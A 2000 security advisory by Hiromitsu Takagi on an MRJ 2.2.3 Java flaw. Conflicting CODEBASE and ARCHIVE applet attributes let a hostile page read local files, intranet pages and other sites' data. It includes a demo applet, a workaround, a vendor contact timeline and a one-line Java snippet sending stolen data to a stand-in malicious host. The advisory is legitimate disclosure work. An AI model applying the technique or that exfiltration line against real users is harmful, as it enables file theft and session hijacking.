[ SOURCE: http://www.secureroot.com/security/advisories/9771579896.html ] ------------------------------------------------------------------ Security Hole of MRJ 2.2.3 (Mac OS Runtime for Java) - Inconsistent Use of CODEBASE and ARCHIVE Attributes - http://java-house.etl.go.jp/ml/archive/j-h-b/039457.html ------------------------------------------------------------------ Contents ======== o Affected Products o Potential Damage o Verification o Workaround o Vendor Response o Nature of Defect o Where Responsibility Rests o Details of Potential Damage Affected Products ================= Version 2.2.3 of MRJ (Mac OS Runtime for Java). This has not been confirmed yet, but all older versions may be affected also. It is also affected that Web browser for Mac OS, Internet Explorer 4.5 and 5, Netscape 6, iCab and other software all of which use MRJ. "MRJ" is installed in all recent Mac OS as a standard provision and is used in browsing Web pages. This security hole is found existing in the following combinations: o Mac OS + MRJ 2.2.3 + Internet Explorer 4.5 o Mac OS + MRJ 2.2.3 + Internet Explorer 5 o Mac OS + MRJ 2.2.3 + Netscape 6 o Mac OS + MRJ 2.2.3 + iCab pre2.2 o Mac OS + MRJ 2.2.3 + Mozilla MRJ Plug-in 1.0b1 + Netscape 4.76 Potential Damage ================ This bug exposes the browsing user to the following damage the moment he or she accidentally or otherwise browses a page intentionally set by a malicious Web site operator: (1) Arbitrary files in the computer of the browsing user will be stolen. (2) The browser of the browsing user will be taken over and will be made to access an arbitrary Web site. (3) Information in Web pages that is disclosed only to the inside of the organization (intranet) will be stolen. Specifically what damage will be inflicted by them will be described in "Details of Potential Damage." Verification ============ A demonstration applet to verify the existence of this bug has been created. http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test.html Pressing the "Execute" button will output the list of file names in the volume "Macintosh HD" in the TextArea under. (See Fig. 1.) If Macintosh is used by changing the volume name to other than "Macintosh HD," which is the default, input the changed name to the TextField on the left of the "Execute" button and press the "Execute" button. Pressing "Send this to the server" button will transfer the data in the TextArea to the server. The server is configured to return received data as it is and the data will be displayed on the browser screen. (See Fig. 2.) WARNING: Do not press the "Send this to the server" button unless you wish data to be transferred. It has been confirmed that file data will also be read and that connection to any server will be possible even though this demonstration applet reads only file names. Fig. 1 List of file names in Macintosh HD is read http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-1.gif Fig. 2 Data transferred to a server http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-2.gif Workaround ========== Wait until a version of MRJ fixing this bug is released by Apple Computer and install it. This version has not been released as of December 14 2000. The latest version of MRJ can be obtained through the following site: http://www.apple.com/java/ As long as fixed MRJ cannot be obtained, stop the Java functions of the Web browser. For Internet Explorer: Select "Preferences" in the "Edit" menu. Select "Java" and check off the check box "Enable Java." For Netscape 6: Select "Preferences" in the "Edit" menu. Select "Advanced" in "Category" on the left and check off the check box "Enable Java." For iCab: Select "Preferences" in the "Edit" menu. Select "Settings / Security" in "Java" and check off the check box "Execute Java applets." Vendor Response =============== On October 25 2000, e-mail was sent to Apple Japan, Inc., notifying "A security hole has been found." On October 26, Apple Japan replied, "Apple has received the notice and will investigate the facts with sincerity. Please report the nature of the bug." The reply stated, however, "to refrain from making inquiries on the progress of our investigations." On the same day, I sent the following questions to the staff at Apple Japan, Inc.: | From: "TAKAGI, Hiromitsu" | To: Apple Japan Customer Relations | Date: Thu, 26 Oct 2000 12:49:39 +0900 | Message-Id: <20001026123030.66BC.TAKAGI@etl.go.jp> | Subject: New Security Hole of MRJ | | I consider that safeguarding safety of citizens is of the highest | priority. As I stated in my e-mail yesterday, | | > > this bug can attack by a similar method as that of the bug found last | > > week with Internet Explorer for Windows and may be noticed relatively | > > easily by all. As the situation now stands, this bug will be abused | > > as a matter of time. An appropriate action must be taken quickly. | | As mentioned above, this bug can be easily analogized from problems | that are already known and hazards of it must be disseminated widely | to the users before it is abused. | | If a fixed version cannot be provided quickly or if the users are not | notified by an appropriate method, I will be compelled to call on the | users to stop using this defective software to ensure safety of the | citizens. | | If you are taking an appropriate action, I will refrain from | disclosing the matter publicly and will leave it to you to take | appropriate actions. | | To enable me to judge which course of action I should take, I need to | know the progress made by you. | | > refrain from making inquiries on the progress of our investigations. | | I must conclude that an appropriate action by you cannot be expected | and I will reluctantly be compelled to call for a stop in using the | defective software, giving the highest priority to safety of the | citizens. | | I would like to ask Apple Computer what actions are you going to take? | | 1. Do you intend to provide a fixed module? (Yes / No) | 2. What will be estimated time needed by you to provide a fixed module? | (Less than a week / about several weeks / about one month / about | several months / longer) | 3. Prior to providing a fixed module, do you intend to notify the users | about the existence of hazards and a temporary troubleshooting | method? (Yes / No) | 4. If you intend to notify the users, which method will you use? | (Only announce by TIL / link from top page / letters or e-mail to | registered users / newspaper ads / other method) | 5. If you intend to provide a fixed module, do you plan to explain the | magnitude of hazards which existed with the old versions? (Yes / No) However, unfortunately, I did not receive any reply from Apple. On October 28, I informed the nature of the bug and showed URL or the demonstration applet for verification. Nevertheless, no response has been received to date. On October 28 also, I simultaneously contacted Tom O'Brien, an MRJ engineer of Apple Computer in the U. S., to who I was introduced through the mailing list of "MRJ-DEV," and notified him about the nature of this bug. I asked the same questions mentioned above. No reply has been received. Forty five days have passed after reporting the bug for the first time while no announcement has been made by Apple Computer as of December 14 2000. I am therefore disclosing this fact. Nature of Defect ================= As a security constraint, the Java applet is designed allowing information to be read only from the Web site of the party who originally downloaded the applet program. In Java VM, the site of the original downloading source is displayed in URL as "CODEBASE." In the tag, which is used when pasting the Java applet in a Web page, the original download source of the applet can be designated by the attribute "CODEBASE." For example, when is written, the applet program will be downloaded from http://www.target.example/Test.class regardless of where HTML written in the tags is located. The applet is restricted to read only the information of "www.target.com." On the other hand, the tag has the attribute "ARCHIVE," allowing loading Java applet programs which are archived in the JAR file. For example, when is written, the "Test.jar" file that is located in the same directory as that of the HTML file will be downloaded. What will happen if both attributes CODEBASE and ARCHIVE are designated? For example, when are described and if an applet program is downloaded from "www.malicious.example," this applet will be able to read the information of "www.target.example." If this is the case, a security problem will arise. The CODEBASE attribute must be made to be ignored or the applet must be disabled to start in case these conflicting CODEBASE and ARCHIVE attributes are designated. In spite of this, MRJ 2.2.3 safely activates the applet and allows reading information of the site designated by the CODEBASE attribute. By designating "file:///" URL as the CODEBASE attribute, local files too can be read. Some of the readers will question; the applet can communicate with only the hosts of CODEBASE and cannot send the information to a malicious server even though the applet can read information, which it should not be allowed to read. However, at least, information can be transferred by the following method: String cgi = "http://www.malicious.example/receive-query.cgi"; getAppletContext().showDocument(new URL(cgi + "?" + URLEncoder.encode(data))); Where Responsibility Rests ========================== This bug is based on the same theory as that of bug of Windows Internet Explorer "MS00-81" (See *1) reported on October 18 2000 by Georgi Guninski. MS00-081 was a bug that caused the same phenomenon as that of this bug when an applet is started by the tag. The only difference is that the MRJ bug now being discussed is caused by the tag and not by the tag. *1: Report to BugTraq by Georgi Guninski: http://www.securityfocus.com/archive/1/140245 BugTraq databese - "Microsoft Virtual Machine Arbitrary Java Codebase Execution Vulnerability" http://www.securityfocus.com/bid/1812 Microsoft Security Bulletin MS00-081: http://www.microsoft.com/technet/security/bulletin/MS00-081.asp The following description in a document "MS00-81" of Microsoft may be related to this discussion. http://www.microsoft.com/technet/security/bulletin/MS00-081.asp > The vulnerability at issue here is a new variant of the vulnerability > originally discussed in Microsoft Security Bulletin MS00-011. The only > significant difference between the new and original variants lies in > the specific programming technique used to exploit the vulnerability; > in other respects, the two are virtually identical. Surely, the same bug existed with the tag as that with MRJ now discussed when a test was made with Windows 98 2nd edition, which was installed with Microsoft VM, which was the version fixed by MS00-011. However, for some reason, only the root directory could not be read by Windows Internet Explorer. For this reason, a demonstration applet was created for checking by designating "file:///Program Files/" as CODEBASE. http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test-forWindowsIE.html In other words, the problem with Microsoft VM of Windows fixed by MS00-011 in February 2000 has not been fixed with MRJ since then. It was careless on the part of Microsoft that they overlooked the fact the tag would have a similar problem when they fixed this bug of the tag by MS00-001. Be that as it may, why did not Apple Computer recognize at that time the possibility of the same problem occurring again with their own products? Furthermore, what is surprising is that this bug seemed to have existed in JDK of Sun Microsystems. This phenomenon is reproduced when the foregoing demonstration applet for verification is opened by the appletvirewr of JDK1.1.4. However, it does not reproduce in JDK 1.1.5. It appears that Sun knew this bug and fixed it in JDK1.1.5. However, Sun's page summarizing its history of security problems in the past related to Java does not describe it. Did Sun notify other Java VM vendors when they fixed this bug in their JDK 1.1.5? Did any one in Sun notice that MRJ was not fixed yet? If these simple mistakes are to continue in the future, how can we reliably use Java? Beginning this year, more careless security holes have been found with Java VM implementations of various vendors. It is ironical that a password "Java OFF when net surfing" is spreading among ordinary citizens as a common sense. As engineers engaged in the development by Java, we expect thorough disclosure of security vulnerability information related to Java, notification to their vendors and precise notification to JRE users. Details of Potential Damage =========================== As mentioned above, damage suffered by Web page browsers by this bug can be classified into the following three groups: (1) Arbitrary files in the computer of the browsing user will be stolen. (2) The browser of the browsing user will be taken over and will be made to access an arbitrary Web site. (3) Information in Web pages that is disclosed only to the inside of the organization (intranet) will be stolen. The threat brought about by Problem (1) is obvious and does not have to be explained. The reader is requested to see a document published earlier, "Danger of Security Defect of Any Host Being Accessed" on Problem (3). http://java-house.etl.go.jp/ml/archive/j-h-b/033470.html The remaining problem, Problem 2), does not seem to be known fully. As one of the threats brought about by the Brown Orifice security hole reported in August 2000, this problem has already been taken up in BugTraq also. Nevertheless, Microsoft's document MS00-081 fails to mention about this threat. Threat (2) is explained below. The threat posed by the bug allowing the Java applet accessing any host is not confined to information read out only. If the java.net. URLConnection function supports Cookie, the following threat will occur: In case browsers of the browsing users are forcibly accessed by sites designated by intentions of malicious Web site setters, such accessing will become accessing based on information (Cookies) unique to the browser and will be deemed as operation by the browsing users themselves. As a result, the browsing users may be penalized as follows: - Electronic commerce sites using Cookies with an indefinite time limit will be accessed for authenticattion of the users themselves and false purchase orders will be issued. Sites that do not require password input, such as placing orders by clicking only, may be authenticating the users only by a Cookie with an indefinite time limit. - In case the users are authenticated only by a Cookie, even electronic commerce sites operated by a Cookie that is set with a term of validity may sometimes issue purchase orders without inputting a password because a Cookie within this term of validity is used if they are accessed by sites, which have a mechanism to abuse this security hole, immediately after transaction sites are used. - Among services which authenticate the users by a Cookie with a set term of validity, those Web mail system services almost certainly have operations of their Web mail systems taken over when they receive mail embedded with a malicious applet. As a result, mail is stolen and is read and false mail is sent by malicious users who disguise as browsing users. The reason for "almost certainly" is as follows. The moment a browsing user accesses an applet, which is a trap, the browsing user is naturally using the Web mail system and the Cookie for the Web mail system is always within its term of validity so that the Web mail is taken over almost certainly. -- Hiromitsu Takagi Electrotechnical Laboratory http://www.etl.go.jp/~takagi/